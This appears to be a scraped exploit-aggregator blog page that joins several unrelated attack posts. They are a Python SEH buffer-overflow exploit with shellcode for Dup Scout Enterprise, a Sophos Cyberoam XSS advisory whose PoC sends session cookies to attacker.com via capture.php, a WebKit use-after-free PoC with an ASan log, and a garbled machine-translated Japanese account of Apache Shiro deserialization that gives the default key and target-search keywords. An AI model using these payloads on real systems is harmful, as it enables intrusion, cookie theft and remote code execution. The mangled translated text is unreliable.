Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170558

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: Dup Scout Enterprise v9.7.18 Import Local Buffer Overflow Vuln.(SEH)
# Date: 2017.05.24
# Exploit Author: Greg Priest
# Version: Dup Scout Enterprise v9.7.18
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import os
import struct

overflow = "A" * 1536
jmp_esp = "\x94\x21\x1C\x65"
#651F20E5 
#651F214E
#652041ED
nop = "\x90" * 16
esp = "\x8D\x44\x24\x4A"
jmp = "\xFF\xE0"
nop2 = "\x90" * 70
nSEH = "\x90\x90\xEB\x05"
SEH = "\x80\x5F\x1C\x90"
#"\x80\x5F\x1C\x65"
#6508F78D
#650E129F
#651C5F80
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

crash = overflow+jmp_esp+nop+esp+jmp+nop2+nSEH+SEH+"\x90" * 10+shellcode

evil = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + crash + '\n</classify>'
exploit = open('Ev1l.xml', 'w')
exploit.write(evil)
exploit.close()

print "Ev1l.xml raedy!"
            
# Exploit Title: Sophos Cyberoam – Cross-site scripting (XSS) vulnerability
# Date: 25/05/2017
# Exploit Author: Bhadresh Patel
# Version: <= Firmware Version 10.6.4
# CVE : CVE-2016-9834

This is an article with video tutorial for Sophos Cyberoam –
Cross-site scripting (XSS) vulnerability


--------------------------------------------------------------------------------------------------------------------------

Title:
====

Sophos Cyberoam – Cross-site scripting (XSS) vulnerability

Credit:
======

Name: Bhadresh Patel


Date:
====

25/05/2017 (dd/mm/yyyy)

Vendor:
======


More than 100 million users in 150 countries rely on Sophos to offer
end-to-end protection against complex threats and data loss. Sophos is
committed to providing complete, enterprise-grade security solutions that
are simple to deploy, manage and use, and deliver one of the industry's
lowest total cost of ownership. Sophos offers award-winning security
solutions covering endpoint, mobile, server, encryption, web, email, Wi-Fi,
and UTM/next-generation firewall, all backed by SophosLabs -- a global
threat analysis center which provides real-time cloud-enabled security
intelligence. Sophos is headquartered in Oxford, UK.


Vulnerable Product:
==============


Sophos Cyberoam Firewall


Cyberoam Next-Generation Firewalls are based on CyberoamOS – an intelligent
and powerful firmware that offers next-generation security features include
inline application inspection and control, website filtering, HTTPS
inspection, Intrusion Prevention System, VPN (IPSec and SSL) and
QoS/bandwidth management. Additional security features like Web Application
Firewall, Gateway Anti-Virus, Gateway Anti-Spam are also available.


Customer Product link: https://www.cyberoam.com



Abstract:
=======

Cross-site scripting (XSS) vulnerability in Sophos Cyberoam firewall
enables and attackers to execute scripts in a victim’s browser to hijack
user sessions, deface web sites, insert hostile content, redirect users,
hijack the user’s browser using malware, etc.




Affected Software Version:
=============


<= Firmware Version 10.6.4


Vendor Response

=============


Sophos is committed to working with the security community in identifying,
remediating and communicating security issues in our products. Customers
are advised to upgrade their Cyberoam OS to v.10.6.5, which addresses this
issue.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

6.9 (Medium) (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N)



CVE ID:

=======


CVE-2016-9834


Details:

=======

This vulnerability allows remote attackers to execute arbitrary client side
script in the active user’s browser session, when logged into the Cyberoam
firewall. User interaction is required to exploit this vulnerability in
that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of request to
“LiveConnectionDetail.jsp” application. GET parameters “applicationname”
and “username” are improperly sanitized allowing an attacker to inject
arbitrary javascript into the page. This can be abused by an attacker to
perform a cross-site scripting attack on the user.


Vulnerable module/page/application:
/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp


Vulnerable parameters: applicationname and username


=======

*PoC*


http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449
";alert(document.cookie)//181&username=NA


*PoC Video*


https://www.youtube.com/watch?v=NmLPL2TYPcg


*Real world scenario*


1) Victim (Admin) login to the Sophos Cyberoam web console

2) Sophos Cyberoam FW is on a latest version

3) record.txt is empty on attacker page

4) Victim (Admin) visits attacker URL/page


http://www.attacker.com/promo.html


5) XSS successful and attacker captured cookie in record.txt




-------------------------- Source code (promo.html)
----------------------------------

<html>

<head>

<script>

window.location="
http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449\
";document.location='
http://www.attacker.com/capture.php?content='.concat(escape(document.cookie));//181&username=NA
"

</script>

</body>

</html>

-------------------------- Source code (capture.php)
----------------------------------


<?php

file_put_contents('record.txt', $_GET['content']);

echo "<HTML><body><script>window.location=\"
http://192.168.30.30/corporate/webpages/index.jsp\"</script></body></HTML>"

?>




Credits:
=======

Bhadresh Patel


--------------------------------------------------------------------------------------------------------------------------
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1109

PoC:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let g = f.contentDocument.body.appendChild(document.createElement('iframe'));
g.contentWindow.onunload = () => {
    g.contentWindow.onunload = null;

    let h = f.contentDocument.body.appendChild(document.createElement('iframe'));
    h.contentWindow.onunload = () => {
        h.contentWindow.onunload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'about:blank';
        a.click();
    };
};

f.src = 'about:blank';

</script>
</body>

<!--
Asan Log:
=================================================================
==4096==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a0000c0e58 at pc 0x00010da7af9b bp 0x7fff5aaa92d0 sp 0x7fff5aaa92c8
READ of size 8 at 0x61a0000c0e58 thread T0
    #0 0x10da7af9a in WebCore::FrameView::scheduleRelayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a)
    #1 0x10da6d069 in WebCore::FrameView::layout(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa9a069)
    #2 0x10da82ea1 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafea1)
    #3 0x10da82edf in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafedf)
    #4 0x105629eea in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x4bfeea)
    #5 0x10ec4844b in WebCore::LayerFlushScheduler::layerFlushCallback() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c7544b)
    #6 0x7fffd624c396 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7396)
    #7 0x7fffd624c306 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7306)
    #8 0x7fffd622c995 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87995)
    #9 0x7fffd57b8a5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #10 0x7fffd57b8890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #11 0x7fffd57b86c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #12 0x7fffd3d5e5b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #13 0x7fffd44d8d6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #14 0x7fffd3d52f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #15 0x7fffd3d1d84f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #16 0x7fffeb9e88c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #17 0x7fffeb9e72e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #18 0x105156b73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #19 0x7fffeb784254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61a0000c0e58 is located 472 bytes inside of 1232-byte region [0x61a0000c0c80,0x61a0000c1150)
freed by thread T0 here:
    #0 0x108730cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x10ad4a73f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fd73f)
    #2 0x10f448eee in WTF::RefPtr<WebCore::Widget>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2475eee)
    #3 0x10f447ab9 in WebCore::RenderWidget::setWidget(WTF::RefPtr<WebCore::Widget>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2474ab9)
    #4 0x10da26c7e in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53c7e)
    #5 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #6 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #7 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #8 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #9 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #10 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #11 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #12 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #13 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #14 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #15 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #16 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #17 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #18 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #19 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #20 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #21 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #22 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #23 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #24 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #25 0x10ee94e8c in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ec1e8c)
    #26 0x10ee9176f in WebCore::NavigationScheduler::timerFired() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ebe76f)
    #27 0x10fa4c971 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a79971)
    #28 0x10ecaa46f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1cd746f)
    #29 0x7fffd6236243 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x91243)

previously allocated by thread T0 here:
    #0 0x108730790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fffeb9062d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x10ad54154 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1907154)
    #3 0x10ad494fb in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fc4fb)
    #4 0x10ace0e95 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893e95)
    #5 0x10ace0178 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893178)
    #6 0x10da65109 in WebCore::FrameView::create(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92109)
    #7 0x10da26b5c in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53b5c)
    #8 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #9 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #10 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #11 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #12 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #13 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #14 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #15 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #16 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #17 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #18 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #19 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #20 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #21 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #22 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #23 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #24 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #25 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #26 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #27 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #28 0x10da2d84a in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a84a)
    #29 0x10db97108 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc4108)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a) in WebCore::FrameView::scheduleRelayout()
Shadow bytes around the buggy address:
  0x1c3400018170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c34000181c0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c34000181d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4096==ABORTING

Tested on Safari 10.0.3(12602.4.8).
-->
            

0x00脆弱性の説明

Apache Shiroは、認証、承認、暗号化、およびセッション管理を提供するオープンソースセキュリティフレームワークです。 Shiro Frameworkは直感的で使いやすいと同時に、堅牢なセキュリティを提供します。 Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用して、ユーザーCookieを偽造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。 Shiroのバージョンに関係なく、RemembermeのAES暗号化キーが漏れている限り、それはDeserializationの脆弱性を引き起こします。

0x01影響バージョン

Apache Shiro=1.2.4

0x02脆弱性原理

Apache Shiro Frameworkは、私(Rememberme)を覚えている機能を提供します。ブラウザが閉じている場合でも、次回開いたときに自分が誰であるかを覚えておくことができます。次回アクセスしたときにアクセスするために再度ログインする必要はありません。ユーザーが正常にログインした後、暗号化され、エンコードされたCookieが生成されます。 Apache Shiro 1.2.4および以前のバージョンでは、Apache ShiroはデフォルトでCookierMembermemanagerを使用しています。 Cookieの処理プロセスは、Rememberme base64デコードのCookie値を取得します - AES復号化- 脱介入。ただし、AESキーはハードコーディングされているため、攻撃者は悪意のあるデータを構築し、サーバーでCookie値を受信するときに敏lceのRCEの脆弱性を引き起こし、次の手順に従って解析および処理します。

1。RembermeCookieの値を検索します

2。ベース64デコード

3.AESを使用して復号化します(暗号化キーのハードコード)

4。脱介入操作を実行する(フィルタリングされていない)

ただし、AES暗号化キーキーはコードにハードコーディングされています。つまり、誰もがソースコードを介してAES暗号化キーを取得できます。したがって、攻撃者は悪意のあるオブジェクトを構築し、それをシリアル化し、AESとBase64エンコードを暗号化し、Cookieの記憶界のフィールドとして送信します。 Shiro Decryptsはそれを覚えて脱出します。脱派化を呼び出すときにフィルタリングは実行されず、リモートコード実行の脆弱性がトリガーされます。

0x03脆弱性原因

一般的な意味は、Shiroがログイン位置でRemember Me機能を提供して、ユーザーのログイン資格情報を記録することです。その後、ShiroはCookiereMembermemanagerクラスを使用して、ユーザーのログイン資格情報で一連の処理を実行します。

Javaシリアル化を使用--- AES暗号化にキーを使用---ベース64暗号化---暗号化された私のコンテンツを取得します

同時に、ユーザーの身元を識別するとき、私の覚えているフィールドは復号化する必要があり、復号化の順序は次のとおりです。

暗号化されたコンテンツ--- Base64復号化---キーを使用してAES復号化を覚えておいてください--- Java Deserialization

問題は、AES暗号化されたキーキーがコードにハードコーディングされていることです。つまり、攻撃者がAES暗号化されたキーをソースコードで見つけられる限り、悪意のあるオブジェクトを構築し、シリアル化し、AESを暗号化し、base64エンコードしてから、クッキーの覚えているフィールドとして送信できます。 ShiroはRemembermeを復号化して脱出します。

0x04脆弱性の悪用条件

AES暗号化の使用により、脆弱性を正常に活用するために、AESの暗号化キーを取得する必要がありますが、1.2.4以前のシロの前にハードコード化されたバージョンで使用されました。デフォルトキーのbase64エンコード値は、KPH+BIXK5D2DEZIIXCAAAA==です。ここでは、悪意のあるシリアル化オブジェクトを構築することにより、エンコード、暗号化、およびCookieとして送信できます。それらを受け取った後、サーバーは脱気脱必要性の脆弱性を復号化してトリガーします。

0x05脆弱性検索キーワード

FOFAのキーワードの検索:header='rememberme=deleteme'github検索キーワード:securitymanager.remembermemanager.cipherkey

